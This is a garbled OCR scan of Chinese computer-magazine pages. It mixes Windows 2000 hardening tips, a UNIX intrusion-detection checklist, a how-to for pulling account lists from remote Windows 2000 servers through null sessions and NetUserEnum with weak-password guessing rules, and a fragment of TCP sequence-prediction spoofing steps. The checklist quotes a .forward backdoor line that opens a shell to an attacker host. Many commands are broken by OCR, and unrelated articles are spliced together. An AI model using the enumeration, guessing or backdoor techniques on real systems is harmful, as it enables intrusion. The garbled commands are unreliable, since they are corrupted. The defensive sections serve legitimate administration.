些 敏 感 信息 , 比如 一 些 应 用 程序 的 密码 等 。 要 禁止 它 ,

打开 “控制 面板 一 系统 属性 一 高 级 一 启动 和 故障 恢

复 ” 把 “ 写 入 调试 信息 ” 改 成 无 。 要 用 的 时 候 ,可 以 重

新 打开 它 。

4. 使 用 文件 加 密 系统 EFS

Windows2000 强大 的 加 密 系 统 能 够 给 磁盘 、 文 件

来、 文件 加 上 一 层 安 全 保护 。 这 样 可 以 防止 别人 把 你

的 硬盘 挂 到 别 的 机 器 上 读 出 里 面 的 数据 。 记 住 要 给 文

件 夹 也 使 用 EFS, 而 不 仅仅 是 单个 的 文件 。 有 关 EFS

的 具体 信息 可 以 查看

http: /www. microsoft. com/windows2000/tech-

info/yhowitworks/security/encrypt. asp

S$. 加 密 Temp 文件 夹

一 些 应 用 程序 在 安装 和 升级 的 时 候 , 会 把 一 些

东西 拷贝 到 Temp 文件 夹 , 但 是 当 程 序 升级 完毕 或 关

闭 的 时 候 , 它 们 并 不 会 自己 清除 Temp 文件 夹 的 内

容 。 所 以 ,给 Temp 文件 夹 加 密 可 以 给 你 的 文件 多 一 层

保护 。

6. 锁 住 注册 表

在 双 indows2000 中 ,只 有 Administrators 和 Backup

Operators 才 有 从 网 络 上 访问 注册 表 的 权限 。 如 果 你 觉

得 还 不 够 的 话 , 可 以 进一步 设 定 注册 表 访 问 权限 , 详

细 信 息 请 参考 :

http: / /support. microsoft. com/ support/kbvarti-

cles/Q153/1/83. asp

7. 关机 时 清除 掉 页 面 文件

页 面 文件 也 就 是 调度 文件 ,是 Win2000 用 来 存储

没有 装 人 内 存 的 程序 和 数据 文件 部 分 的 隐藏 文件 。 一

些 第 三 方 的 程序 可 以 把 一 些 没 有 加 密 的 密码 存在 内

存 中 , 页 面 文件 中 也 可 能 含有 另外 一 些 敏 感 的 资料 。

要 在 关机 的 时 候 清 除 页 面 文件 ,可 以 编辑 注册 表

HKLMA SYSTEMA\ CurrentControlSet\ Control\ Ses-

sion Manager\Memory Management

把 ClearPageFileAtShutdown 的 值 设置 成 1。

8. 禁止 从 软盘 和 CD - ROM 启动 系统

一 些 第 三 方 的 工具 能 通过 引导 系统 来 绕 过 原 有

的 安全 机 制 。 如 果 你 的 服务 器 对 安全 要 求 非常 高 , 可

以 考虑 使 用 可 移动 软盘 和 光驱 。 把 机 箱 锁 起 来 仍 不 失

为 一 个 好 方法 。

9. 考虑 使 用 智能 卡 来 代替 密码

对 于 密码 ,总 是 使 安全 管理 员 进 退 两 难 , 容易 受

到 10phterack 等 工具 的 攻击 ,如果 密 码 太 复杂 ,用 户

为 了 记 住 密码 ,会 把 密码 到 处 乱 写 。 如 果 条 件 允 许 ,用

智能 卡 来 代替 复杂 的 密码 是 一 个 很 好 的 解决 方法 。

10. 考虑 使 用 IPSec

正如 其 名 字 的 含义 , IPSec 提供 瑟 数据 包 的 安全

性 。IPSee 提供 身份 验证 、 完 整 性 和 可 选择 的 机 密 性 。

发 送 方 计算 机 在 传输 之 前 加 密 数 据 , 而 接收 方 计算 机

在 收 到 数据 之 后 解密 数据 。 利 用 IPSec 可 以 使 得 系统

的 安全 性 能 大 大 增强 。 ”全

SS IN RS B

对 于 做 网 络 管理 员工 作 的 人 来 说 , 除了 要 及 时 地

消除 系统 故障 ,还 要 时 刻 提 防 黑 客人 侵 ,每 个 管理 员

都 必须 具备 迅速 判断 自己 的 服务 器 是 否 被 人 侵 的 能

力 。 本 文 记 述 了 几 种 判断 UNIX 系统 黑客 人 侵 的 简单

方法 , 以 LINUX 和 Solaris 为 例 ,希望 能 给 广大 管理 员

朋友 一 个 借鉴 。

1. 检查 系统 密码 文件

首先 从 明显 的 人 手 , 查 看 一 下 passwd 文件 ,ls -1

/etc/passwd 查看 文件 修改 的 日 期 。

输入 命令 awk -F: :83 = =0 {fprint $1},vetc/

passwd 来 检查 一 下 passwd 文件 中 有 哪些 特权 用 户 ,

系统 中 uid 为 0 的 用 户 都 会 被 显示 出 来 。 顺 便 再 检查 :

一 下 系统 里 有 没有 空 口令 帐户 :awk -FF: ”length($2)

= =0 {print 和 } ”vetc/shadow 。

2、 查 看 进程 ,看 看 有 没有 奇怪 的 进程

重点 查看 进程 :ps -aef | grep inetd

inetd 是 UNIX 系统 的 守护 进程 , 正 常 的 inetd 的

pid 都 比较 靠 前 , 如 果 你 看 到 输出 了 一 个 类 似 inetd -

s /tmp/,. xxx 之 类 的 进程 , 着 重 看 inetd -s 后 面 的 内

雁 。 在 正常 情况 下 ,LINUX 系统 中 的 inetd 服务 后 面 是

没有 -s 参数 的 , 当 然 也 没有 用 inetd 去 启动 某 个 文

件 ; 而 solaris 系统 中 也 仅仅 是 inetd -s, 同 样 没有 用

inetd 去 启动 某 个 特定 的 文件 ;如果 你 使 用 ps 命令 看

到 inetd 启动 了 某 个 文件 ,而 你 自己 又 没有 用 inetd 启

动 这 个 文件 , 那 就 说 明 已 经 有 人 人 侵 了 你 的 系统 , 并

且 以 root 权限 起 了 一 个 简单 的 后 门 。

输入 ps - aef 查看 输出 信息 , 尤其 注意 有 没有 以

. /xxx 开头 的 进程 。 一 旦 发 现 异 样 的 进程 , 经 检查 为

人 侵 者 留 下 的 后 门 程序 ,立即 运行 kill - 9 pid 杀 死 该

进程 , 然 后 再 运行 ps - aef 查看 该 进程 是 否 被 杀 死 ;

一 且 此 类 进程 出 现 杀 死 以 后 又 重新 启动 的 现象 , 则 证

明 系 统 被 人 放置 了 自动 启动 程序 的 脚本 。 这 个 时 候 要

进行 仔细 查找 : find / - name 程序 名 -print, 假设 系

文 / 柳 永

统 真 的 被 人 侵 者 放置 了 后 门 , 根据 找到 的 程序 所 在 的

目录 ,会 找到 很 多 有 趣 的 东西 ,NI 下 隐藏 进程 有 的

时 候 通 过 替换 ps 文件 来 做 , 检 测 方法 涉及 到 检查 文

件 完整 性 , 稍 后 我 们 再 讨论 这 种 方法 。

接 下 来 根据 找到 和 人 侵 者 在 服务 器 上 的 文件 目录 ,

一 步 一 步 进 行 追踪 。

3 检查 系统 守护 进程

检查 /etc/inetd. conf 文件 , 输 入 :cat /etcvyin-

etd. conf | grep -vY ” 权 ,输出 的 信息 就 是 你 这 人 台 机

器 所 开启 的 远程 服务 。

一 般 入 侵 者 可 以 通过 直接 蔡 换 in. xxx 程序 来 创

建 一 个 后 门 , 比 如 用 /bin/sh 鞭 换 掉 in. telnetd, 然 后

重新 启动 inetd 服务 ,那么 telnet 到 服务 器 上 的 所 有 用

户 将 不 用 输入 用 户 名 和 密码 而 直接 获得 一 个 root-

shejll。

4 检查 网 络 连接 和 监听 端口

输入 netstat - an, 列 出 本 机 所 有 的 连接 和 监听 的

端口 ,查看 有 没有 非法 连接 。

输入 netstat -mm,, 查 看 本 机 的 路 由 、 网 关 设置 是

否 正 确 。

输入 ifconfig - a, 查 看 网 卡 设置 。

S、 检 查 系 统 日 志

命令 last | more 查看 在 正常 情况 下 登录 到 本 机

的 所 有 用 户 的 历史 记录 。 但 last 命令 依赖 于 syslog 进

程 , 这 已 经 成 为 人 侵 者 攻击 的 重要 目标 。 人 侵 者 通常

会 停止 系统 的 syslog , 查看 系统 syslog 进程 的 情况 , 判

断 syslog 上 次 启动 的 时 间 是 否 正常 , 因 为 syslog 是 以

root 身份 执行 的 ,如 果 发 现 syslog 被 非法 动 过 , 那 说 明

有 重大 的 人 侵 事件 。

在 linux 下 输入 ls -al /var/log

在 时 下 输入 ls -al /var/adm

检查 wtmp utmp ,包括 messgae 等 文件 的 完整 性 和

$ 改 时 间 是 否 正常 , 这 也 是 手工 氛 除 人 侵 痕 迹 的 一 种

f 法 。

6、 检 查 系 统 中 的 core 文件

通过 发 送 畸 形 请 求 攻击 服务 器 的 某 一 服务 来 人

这 系统 是 一 种 常规 的 人 侵 方法 , 典 型 的 RPC 攻击 就

z 通 过 这 种 方式 。 这 种 方式 有 一 定 的 成 功率 , 也 就 是

多 它 并 不 能 100% 保证 成 功 入 侵 系统 , 而 且 通 常会 在

民 务 器 相应 目录 下 产生 core 文件 ,全 局 查找 系统 中 的

ore 文件 ,输入 find / - name core -execls -1 {] AS

才 据 core 所 在 的 目录 、 查 询 core 文件 来 判断 是 否 有

入 侵 行为 。

7、.rhosts 和 . forward

这 是 两 种 比较 著名 的 后 门 文件 , 如 果 想 检查 你 的

系统 是 否 被 人 侵 者 安装 了 后 门 ,不 妨 全 局 查找 这 两 个

文件 :

find / - name“. rhosts” -print

find / - name“. forward”- Print

在 某 用 户 的 $HOME 下 ,. zhosts 文件 中 仅 包含 两

个 + 号 是 非常 危险 的 , 如 果 你 的 系统 上 开 了 513 端口

(rogin 端口 , 和 telnet 作用 相同 ), 那么 任意 是 谁 都 可

以 用 这 个 用 户 登 录 到 你 的 系统 上 而 不 需要 任何 验

证 。

Unix 下 在 .forward 文件 里 放 人 命令 是 重新 获得

访问 的 常用 方法 , 在 某 一 用 户 $HOME 下 的 .forward

可 能 设置 如 下 :

\V_username| “/usr/local/X11V/bin/xterm - disp

hacksys. other. dom:0.0 -e /bin/sh-

这 种 方法 的 变形 包括 改变 系统 的 mail 的 别名 文

件 (通常 位 于 /ete/aliases) 注意 这 只 是 一 种 简单 的 变

换 。 更 为 高 级 的 能 够 从 . | 中 运行 简单 脚本 实现

在 标准 输入 执行 任意 命令 (小 部 分 预 处 理 后 ) 。 利 用

smrsh 可 以 有 效 地 制止 这 种 后 门 (如 果 人 允许 可 以 自 运

行 的 elm's flter 或 procniail 类 程序 , 很 有 可 能 还 有 问

题 ) 。 在 Solaris 系统 下 ,如 果 你 运行 如 下 命令 :

jn -s /var/mail/luser ~ /.forward

然后 设置 vacation 有 效 ,那么 /var/mail/luser 就

会 被 拷贝 到 ~ /. forward, 同时 会 附加 “17/usr/binVva-

cation me", 旧 的 symlink 被 移 到 ~/

. forward. . BACKUP 中 。

直接 删除 掉 这 两 个 文件 也 可 以 。

8 检查 系 统 文件 完整 性

检查 文件 的 完整 性 有 多 种 方法 , 通常 我 们 通过 输

入 ls -1 文件 名 来 查询 和 比较 文件 , 这 种 方法 虽然 简

单 ,但 还 是 有 一 定 的 实用 性 。 但 是 如 果 ls 文件 都 已 经

被 蔡 换 了 就 比较 麻 归 。 在 LINUX 下 可 以 用 rpm -YV

“rpm -对 文件 名 ”来 查询 ,利用 查询 的 结果 是 否 正 常

来 判断 文件 是 否 完整 。 在 LINUX ee rpm 来 检查

文件 的 完整 性 的 方法 也 很 多 , 这 里 不 一 一 效 述 , 可 以

man ITpm

UNIX 系统 中 ,/bin/login 是 被 人 侵 考 经 常 蔡 换

作为 后 门 的 文件 , 接 下 来 谈 一 下 login 后 门 :

UNIX 里 ,Login 程序 通常 用 来 对 telnet 来 的 用 户

进行 口令 验证 。 入 侵 者 获取 login 的 源 代 码 并 修改 ,使

它 在 比较 输入 口令 与 存储 口令 时 先 检查 后 门口 令 。 如

果 用 户 敲 人 后 门口 令 , 它 将 忽视 管理 员 设 置 的 口令 让

你 长 驱 直 和 人: 这 将 允许 人 侵 者 进入 任何 账号 ,甚至 是

root 目录 。 由 于 后 门口 令 是 在 用 户 真 实 登录 并 被 日 志

记录 到 utmp 和 wtmP 前 产生 的 一 个 访问 ,所 以 人 侵 者

可 以 登录 获取 shell 却 不 会 暴露 该 账号 。 管 理 员 注 意

到 这 种 后 门 后 , 使 用 “strings” 命 令 搜 索 login 程序 以 寻

找 文本 信息 。 许 多 情况 下 后 门口 令 会 原形 毕露 。 人 侵

者 又 会 开始 加 密 或 者 更 改 隐藏 口令 , 使 strings 命令 失

效 。 所 以 许多 管理 员 利 用 MD5 校 验 和 检测 这 种 后

门 。UNIX 系统 中 有 md5sum 命令 ,输入 md5sum 文件

名 检查 该 文件 的 md5 签名 。 它 的 使 用 格式 如 下 :

md5sum -b 使 用 二 进 制 方式 阅读 文件 ; mdq5sum -。

逆向 检查 MD5 签名 ; md5sum -t 使 用 文本 方式 阅读

文件 。

在 前 面 提 到 过 守护 进程 , 对 于 守护 进程 配置 文件

inetd. conf 中 没有 被 注释 掉 的 行 要 进行 仔细 比较 , 举

个 简单 的 例子 ,如 果 你 开放 了 telnet 服务 ,守护 进程 配

置 文件 中 就 会 有 一 句 :

telnet stream tcp ”nowait root /usr/sbin/

in. telnetd in. telnetd

可 以 看 到 它 所 使 用 的 文件 是 /usr/sbin/

in. telnetd, 检 查 该 文件 的 完整 性 , 人 侵 者 往往 通过 蔡

换 守 护 进 程 中 允许 的 服务 文件 来 为 自己 创建 一 个 后

门 。

LINUX 系统 中 的 /eteycrontab 也 是 经 常 被 人 侵 者

利用 的 一 个 文件 , 检查 该 文件 的 完整 性 , 可 以 直接 cat

/ete/erontab , 仔 细 阅 读 该 文件 有 没有 被 人 侵 者 利用

来 做 其 他 的 事情 。 不 替换 login 等 文件 而 直接 使 用 进

程 来 启动 后 门 的 方法 有 一 个 缺陷 , 即 系统 一 旦 重新 局

动 , 这 个 进程 就 被 杀 死 了 , 所 以 得 让 这 个 后 门 在 系统

启动 的 时 候 也 启动 起 来 。 通 常 通过 检查 /etc/rc.d 下

SN

的 文件 来 查看 系统 启动 的 时 候 是 不 是 带 有 后 门 程序 ;

这 个 方法 有 点 象 查 windows 下 的 trojan。

说 到 这 里 ,另外 提 一 下 ,如 果 在 某 一 目录 下 发 现

有 属性 为 这 样 的 文件 : -rwsr 一 xXT-X Taroot root

xx .sh, 这 表明 任何 用 户 进来 以 后 运行 这 个 文件 都 可

以 获得 一 个 rootshell ,这 就 是 setuid 文件 .运行 fnd -

perm 4000 - print 对 此 类 文件 进行 全 局 查找 , 全 届 和

除 这 样 的 文件 。

9 检查 内 核 级 后 门

如 果 你 的 系统 被 人 安装 了 这 种 后 门 , 通常 都 是 比

较 讨 厌 的 , 遇 到 这 种 情况 , 首先 要 检查 系统 加 载 的 模

块 , 在 LINUX 系统 下 使 用 lsmod 命令 , 在 solaris 系统

下 使 用 modinfo 命令 来 查看 。 这 里 需要 说 明 的 是 ,一 般

默认 安装 的 LINUX 加 载 的 模块 都 比较 少 , 通 常 就 是

网 卡 的 驱动 ; 而 solaris 下 就 很 多 , 没 别 的 办 法 ,只 有 一

条 一 条 地 去 分 析 。 对 内 核 进行 加 固 后 , 应 禁止 插入 或

删除 模块 , 从 而 保护 系统 的 安全 , 否则 入 侵 者 将 有 可

能 再 次 对 系统 调用 进行 替换 。 我 们 可 以 通过 替换

create module( ) 和 delete module() 来 达到 上 述 目 的 。 另

外 , 对 这 个 内 核 进行 加 固 模块 时 应 尽早 进行 ,以 防 系

统 调用 已 经 被 人 侵 者 替换 。 如 果 系 统 被 加 载 了 后 门 模

块 , 但 是 在 模块 列表 /proc/module 里 又 看 不 到 它们 ,

有 可 能 是 使 用 了 hack 工具 来 移 除 加 载 的 模块 , 大 名

瞻 易 的 knark 工具 包 就 有 移 除 加 载 模块 的 工具 。 出 现

这 种 情况 ,需要 仔细 查找 /proc 目录 ,根据 查找 到 的 文

件 和 经 验 来 判断 被 隐藏 和 伪装 的 进程 。Knark 后 门 模

块 就 在 /proc/knark 目录 , 当 然 可 能 这 个 目录 是 隐藏

的 。

1 手工 入 侵 检 测 的 缺陷

上 面谈 了 一 些 手工 人 侵 检测 的 方法 , 但 这 些 方式

有 一 定 的 缺陷 , 有 的 甚至 是 不 可 避免 的 缺陷 , 这 就 是

为 什么 说 手工 检测 是 “体力 活 ” 的 原因 。 我 们 先 来 看 看

这 些 缺 陷 ,

手工 人 侵 检测 只 能 基于 主机 , 也 就 是 说 所 有 的

人 侵 检 测 工作 只 能 在 操作 系统 下 面 完成 , 这 是 它 固

有 的 缺陷 ; 基本 上 所 有 凌驾 于 操作 系统 之 外 的 人 侵

行为 统统 无 法 探测 得 到 。 网 络 级 的 人 侵 , 交 换 机 、

路 由 器 上 面 的 人 侵 和 攻击 行为 , 作 为 服务 器 的 操作

系统 都 无 法 得 知 ; 信息 已 经 从 主机 发 送出 去 了 , 如

果 在 传送 的 介质 当中 被 拦截 , 主 机 的 操作 系统 是 永

远 无 动 于 衷 的 。

手工 的 入侵 检测 要 求 精 通 操作 系统 , 并 且 漏 洞 库

资料 的 刷新 要 快 ;在 做 一 个 网 管 的 同时 要 做 一 个 昌

客 。 可 以 说 经 验 的 积累 永远 跟 不 上 全 世界 漏洞 资料 表

更 新 ,难保 系统 不 被 新 的 漏洞 所 侵入 。

手工 人 侵 检测 只 是 “就 事 论 事 ”, 根据 发 生 的 某 -

情况 判断 入侵 事件 , 再 作出 相应 的 对 应 和 防范 措施

而 无 法 预先 根据 人 侵 者 的 探测 行为 作出 对 攻击 事 付

的 描述 , 定义 事件 级 别 , 在 不 防 碍 系统 正常 工作 的 民

况 下 阻止 下 一 步 对 系统 的 人 侵 行为 。

可 以 通过 手工 人 侵 检测 发 现 主 机 上 的 某 些 漏洞 ,

进而 作出 相应 的 安全 措施 。 但 却 避 免不了 一 种 现象

无 法 避免 两 个 人 侵 者 利用 同一 个 漏洞 攻击 主机 , 即 无

法 判断 攻击 模式 来 切断 人 侵 行 为 。

综 上 所 述 , 手工 的 人 侵 检测 行为 对 于 系统 安全 来

说 只 是 治标 而 不 治本 , 多 半 还 是 依靠 管理 员 的 技巧 和

经 验 来 增强 系统 的 安全 性 , 没有 也 不 可 能 形成 真正 的

安全 体系 , 但 是 它 可 以 检测 和 追踪 到 某 些 人 侵 行为 ,

但 如 果 碰 上 同样 精通 系统 的 入侵 者 就 很 难 抓 住 踪迹

1 入侵 检测 系统 的 比较

搭建 真正 的 安全 体系 需要 人 侵 检 测 系 统 - IDS,

一 个 优秀 的 入侵 检测 系统 辅 以 系统 管理 员 的 技巧 和

经 验 可 以 形成 真正 的 安全 体系 , 有 效 判 断 和 切断 人 侵

行为 ,真正 保护 主机 、 资 料 。 人 们 有 时 候 会 以 为 ISS 的

realsecure 是 优秀 的 人 侵 检测 系统 ,其 实 不 然 ,realse-

cure 带 有 一 定 的 缺陷 ,不 谈 它 对 事件 的 误 报 、 漏 报 和

错 报 ,首先 它 是 一 个 英文 的 软件 , 使 用 和 熟悉 起 来 有

一 定 的 难度 。 而 且 由 于 是 外 国人 的 软件 ,很 多 hack 对

realsecure 有 深入 的 研究 , 已 经 发 气 出 它 的 一 些 漏 洞 ,

甚至 是 固有 漏洞 , 我 就 曾经 测试 出 有 的 攻击 手段 可 以

令 realsecure 瘫痪 。 再 者 ,realsecure 也 是 架设 在 服务 器

操作 系统 之 上 的 , 操作 系统 停止 工作 ,同样 令 之 停止

工作 , 换 句 话说 , 攻击 者 攻击 的 目标 往往 就 是 realse-

cure 本 身 。 假 设 你 的 系统 依赖 于 和 人 侵 检 测 系 统 , 而 人

侵 检测 系统 被 攻击 者 搞 掉 , 那 你 的 系统 将 大 门 敞开 ,

任 由 出 人, 后果 不堪 设想 。

全 中 文 的 入侵 检测 系统 当然 是 比较 直观 , 目标 也

小 很 多 。 天 阅 探 测 引 擎 就 是 这 当中 比较 典型 的 一 种 ,

它 有 自己 的 “黑匣子 ", 人 侵 者 在 攻击 一 台 服务 器 的 时

候 , 几 乎 不 可 能 找到 该 服务 器 运行 的 天 阅 探 测 引 擎 ,

这 样 就 大 大 增加 了 攻击 的 难度 , 提高 了 服务 器 的 安全

性 。 有 关 天 阅 的 资料 可 以 在 http; /www. venusteceh.

com. cn 找到 。 关 于 人 侵 检测 系统 的 比较 和 技术 分 析 ,

笔者 很 快 会 扎 文 。 知

细 细 想 想 , Windows 2000 提供 的 功能 实在 是 太 强

大 了 , 这 大 大 方便 了 Admin 们 的 管理 工作 , 不 过 利 浆

回来 都 是 并 存 的 , 正 是 因为 Windows 2000 提供 的 强

大 功能 ,让 您 稍微 不 留神 ,系统 就 被 黑客 们 光顾 了 , 系

统 信息 被 暴露 , 是 非常 可 怕 的 事情 , 这 意味 着 黑客 已

经 掌握 了 你 的 服务 器 一 半 的 情况 , 一 旦 发 现 了 系统 的

漏洞 ,就 意味 着 下 一 步 人 侵 的 开始 。 举 个 简单 的 例子 :

如 果 你 的 服务 器 无 意 中 开 了 一 个 共享 文件 夹 , 黑客 想

办 法 获取 了 你 的 服务 器 信息 , 发 现 这 个 共享 文件 夹 允

说 了 半天 , 到 底 远 程 能 够 获取 什么 样 的 系统 信息

呢 ? 很 多 很 多 ,不 完全 的 说 一 下 比较 关键 的 信息 吧 :

Server Name :服务 器 的 名 字 。

Server Comment: 相关 的 说 明 信 息 ,很 多 管理 员 嘉

欢 在 这 里 写 上 些 敏 感 信息 。

Server Type: 服务 器 类 型 , 通过 这 个 , 黑客 们 可 以

判断 出 目标 服务 器 是 处 于 什么 环境 之 下 , 比如 可 以 判

断 出 : A LAN Manager workstation,A LAN Manager

server,Windows NT/Windows 2000 workstation or serv-

er,Windows NT/ZWindows 2000 server that is not a do-

main controler, Server running a browser service as

backup ,Server running the master browser service。

Major yersion、inor yersion: 这 两 个 分 别 是 服务 器

大 版 本 号 和 小 版 本 号 , 黑客 通过 这 个 得 到 了 操作 系统

的 版 本 信息 , 比如 ,大 版 本 号 为 5, 小 版 本 号 为 0, 则 说

明 是 一 台 Windows 2000 的 服务 器 , 而 下 一 步 就 是 查

总 ENJIG 有

找 Windows 2000 的 安全 漏洞 了 。

Current date ,Curent time is: 服务 器 的 日 期 和 时

间 ,通过 这 个 ,可 以 判断 出 服务 器 所 在 的 时 区 , 良好 掌

握 活 透 的 时 间 。

Session; 得 到 当前 服务 器 的 会 话 连接 卫 地 址 , 这

个 作用 就 比较 广泛 了 , 可 以 根据 实际 情况 , 灵活 地 运

用 。

Share Enum: 这 是 个 很 重要 的 信息 , 他 展示 出 了

服务 器 上 所 有 的 共享 文件 夹 , 包括 隐 含 的 共享 , 一 且

发 现 可 利用 的 共享 信息 , 黑客 只 需 简 单 地 在 浏览 器 中

输入 \\ip\share, 就 可 以 访问 到 目标 主机 的 共享 信息 ,

就 是 这 人 么 危险 !

UserEnum: 这 个 东西 更 可 怕 , 连 服务 器 的 帐号 信

息 都 取 来 了 ,其 中 包括 用 户 登 陆 成 功 次 数 ,失败 次 数 ,

帐号 使 用 时 间 , 登陆 脚本 路 径 ,, 口令 生效 时 间 …… 这

些 连 系统 管理 员 都 看 不 到 哦 ! 此 外 还 有 一 些 信 息 会 被

暴露 出 来 ,比如 :用 户 名 ,用 户 权 限 , 用 户 说 明 信 息 ,是

否 帐号 禁用 …… 这 很 可 能 造成 弱 口 令 的 用 户 名 被 轻

易 破 解 , 粗心 的 系统 管理 员 如 果 留 个 user: test,pass-

word: 123 之 类 的 帐号 在 里 面 , 估 计 服 务 器 就 保 不 住

证 这

LocalGroupEnum : 枚 举 本 地 组 。

此 外 还 有 UseEnum,FileEnum,ScheduleJobE-

num…… 实 在 太 多 了 。

下 面 ,来 说 说 最 重要 的 部 分 一 一 到 底 这 些 信 息 怎

么 样 才 能 获取 呢 ?

打开 你 的 winnt/system32 这 个 文件 夹 , 找 找 看 ,

是 不 是 有 一 个 叫做 netapi32. dl 的 文件 ? 从 文件 名 ,我

们 就 可 以 知道 , 这 是 个 和 网 络 函 数 相关 的 动态 连接

库 , 这 就 是 我 们 需要 找 的 东西 ! 上 面 取得 的 信息 ,其 实

全 部 是 通过 这 个 DLL 文件 来 实现 的 。 对 应 于 这 个 DLL

文件 , 肌 indows 2000 提供 了 一 组 相关 的 API 函数 调

用 , 装 上 Platform SDK 这 个 开发 工具 包 , 然后 请 打开

你 的 MSDN, 输 入 要 查找 的 关键 字 “Network Manage-

ment”, 然 后 选择 Network Management Reference ->

Network Management Functions 你 会 看 到 一 组 以 Net 开

头 的 API 函数 , 正确 运用 这 组 函数 , 就 可 以 获取 远 端

服务 器 的 信息 了 ,函数 用 法 是 有 点 复杂 , 下 面 举 个 简

单 的 例子 。

假如 存在 一 台 Windows 2000 的 目标 主机 , 其 正

地 址 为 : 192. 168. 10. 111, 我 们 现在 准备 获取 他 的 帐

号 信息 , 首先 我 们 建立 一 个 卫 C$ 空 会 话 连接 , 建立 空

会 话 和 断 开会 话 主要 用 到 了 两 个 函数 ,

DWORD WNetAddConnection2(LPNETRESOURCE

]pNetResource, ELPCTSTR ”lpPassword, LPCTSTR

]pUsername,DWORD dwFlags );

上 面 的 函数 是 建立 一 个 会 话 连接 ,其 中 LPCTSTR

]pPassword,LPCTSTR lpUsername 分 别 是 用 户口 令 和

用 户 名 , 要 想 建 立 空 会 话 , 则 一 定 要 把 这 两 项 置 成

空 。

DWORD 允 NetCancelConnection2(LPCTSTR jp-

Name,DWORD dwFlags,BOOL 全 orce);

鸡 NetCancelConnection2 的 作用 则 和 允 NetAdd-

Connection2 是 相反 的 , 在 获取 用 户 信息 后 , 为 了 确保

安全 ,黑客 会 用 他 迅速 的 断 开 与 服务 器 之 间 的 会 话 。

我 已 经 把 它 写 成 了 一 个 类 , 这 个 是 类 其 中 的 一 部

分 函数 :

同样 地 , 也 是 模拟 了 这 条 命令 net use \Vzex. xxx。

XXX. XXX /DEL

刚刚 说 了 , 我 们 要 取 的 是 远 端 服务 器 上 的 帐号 信

息 , 打开 MSDN,, 输入 关键 字 : NetUserEnum , 看 到 了

吧 ? 你 可 以 找到 这 条 国 数 NET API STATUS Ne-

tUserEnum( LPCWSTR servername, DWORD level,

DWORD filter,LPBYTE x bufptr,DWORD prefmaxlen,

LPDWORD LPDWORD

LPDWORD resume handje );

一 大 串 参 数 ,看 起 来 挺 可 怕 的 ,不 要 紧 , 我 们 一 个

寂 来 过 :

LPCWSTR servername: 注意 ,, 它 可 是 要 求 LPCW-

STR 类 型 的 数据 , 也 就 是 说 , 要 求 用 Unicode 字符 , 如

果 你 直接 为 它 赋 值 , 是 肯定 不 行 的 ,要 绕 点 弯 了 ,有 这

样 一 个 函数 MultiByteToWideChar (UINT CodePage,

entriesread , totalentries ,

在 这 个 级 别 里 ,可 以 获取 用 户 帐号 名 , 它 使 用 USER.INFO_0 这 个 结构 存储 ,在 ipe 空 连接 的 时 候 是 可 用 的

Return detailed information about user accounts,The bufptr parameter points to an amray of USER_INFO_1 struc-

Retum level one information and additional attributes about user accounts, The bufptr parameter points to an array

of USER_INFO_2 structures.

Return level two information and additional attributes about user accounts. This level is valid onjy on Windows

NT/Windows 2000 servers. The bufptr parameter points to an array of USER_INFO _3 stractures. Note that on Whistler

and later, 这 is recommended that you use USER_INFO_4 instead.

Whistler: Retur level two information and additional attributes about user accounts,This level is validq only on

Windows NT/ZWindows 2000 servers. The bufptr parameter points to an array of USER_INFO _4 structures,

Retur user and account names and comments, The bufptr parameter points to an array of USER_JINFO_10 struc-

Returzmn detailed information about user accounts., The bufptr parameter points to an array of USER_INFO_11

Structures.

Return the user” s name and identifier and various account attributes. The bufptr parameter points to an array of

USER_INFO_20 structures. Note that on 允 histler and later, 让 is recommended ihat you use USER_IJNFO_23 instead.

DWORD dwFlags, LPCSTR lpMultiByteSsr, int cb-

MultiByte,LPWSTR ]pWideCharStr,int cchWideChar);

这 个 函数 的 作用 就 是 用 来 把 单字 节 转 换 为 双 字

DWORD level: 用 来 指定 操作 级 别 , 不 同 用 户 的 访

问 权 限 。 根 据 不 同 的 级 别 , 可 以 获取 不 同等 级 的 系统

信息 , 根据 MSDN 上 的 描述 , 如 表 1 里 的 级 别 可 供 选

择 。

与 主机 建立 空 会 话 , 已 经 可 以 使 用 除了 4 和 23

以 外 的 所 有 级 别 了 ,4 和 23 被 保留 了 ,目前 在 windows

2000 下 还 不 支持 这 两 个 级 别 , 它 是 为 了 后 面 的 Win-

dows XP 版 本 留 的 。 好 了 ,我 们 有 了 上 面 的 信息 ,就 开

始 写 程序 了 。

为 了 免 去 诈骗 稿费 之 嫌 , 我 们 就 举例 最 简单 的

level 0 级 别 操作 , 在 这 个 级 别 , 你 只 能 取 到 系统 的 帐

号 名 ,不 过 对 于 黑客 来 说 ,已 经 足够 了 !

下 面 是 程序 脚本 :

如 果 你 愿意 , 还 可 以 设计 一 下 弱 口 令 的 探测 规

(上 接 第 251 页 )

listen 函数 中 第 二 个 参数 是 5, 意思 是 在 initsockid

上 允许 的 最 大 连接 请 求 数 目 。 如 果 某 个 时 刻 initsockid

上 的 连接 请 求 数目 已 经 达到 5, 后 续 到 达 initsockid 的

连接 请 求 将 被 TCP 丢弃 。 注 意 一 旦 连接 通过 三 次 握

手 建立 完成 ,accept 调用 已 经 处 理 这 个 连接 , 则 TCP

连接 请 求 队列 空 出 一 个 位 置 。 所 以 这 个 5 不 是 指

initsockid 上 只 能 接受 5 个 连接 请 求 。SYN flood 正 是

一 种 Denial of Service, 导 致 B 的 网 络 功能 暂时 被 耗

尽 。

3.2Z 必须 确定 A 当前 的 ISN。 首 先 连 向 25 端口

(SMTP 是 没有 安全 校 验 机 制 的 ) ,与 1 中 类 似 ,不 过 这

次 需要 记录 A 的 ISN, 以 及 Z 到 A 的 大 致 的 RIT

(round rip time) 。 这 个 步骤 要 重复 多 次 以 便 求 出 RTT

的 平均 值 。 现 在 Z 知道 了 A 的 ISN 基 值 和 增加 规律

(比如 每 秒 增 加 128000, 每 次 连接 增加 64000) , 也 知

道 了 从 Z 到 A 需 要 RITZ2 的 时 间 。 必 须 立 即 进入 攻

击 , 否则 在 这 之 间 有 其 他 主机 与 A 连接 ,ISN 将 比 预

料 的 多 出 64000。

4.Z 向 A 发 送 带 有 SYN 标志 的 数据 段 请 求 连

则 , 比如 , 如 果 存 在 用 户 名 为 test, 则 可 以 尝试 口令 为

“2 test” “test123” “123”.…… 这 个 规则 越 复 杂

成 功率 越 高 哦 ! 大 家 熟悉 的 X- Scan 就 是 用 这 种 方法

获取 远程 主机 信息 的 , 口 令 探测 也 是 这 种 方法 实现

的 。

其 他 的 信息 获取 方法 和 NetUserEnum 差不多 , 只

有 很 小 的 一 些 改动 ,为 了 节约 篇 幅 , 代码 就 不 给 出 了 ,

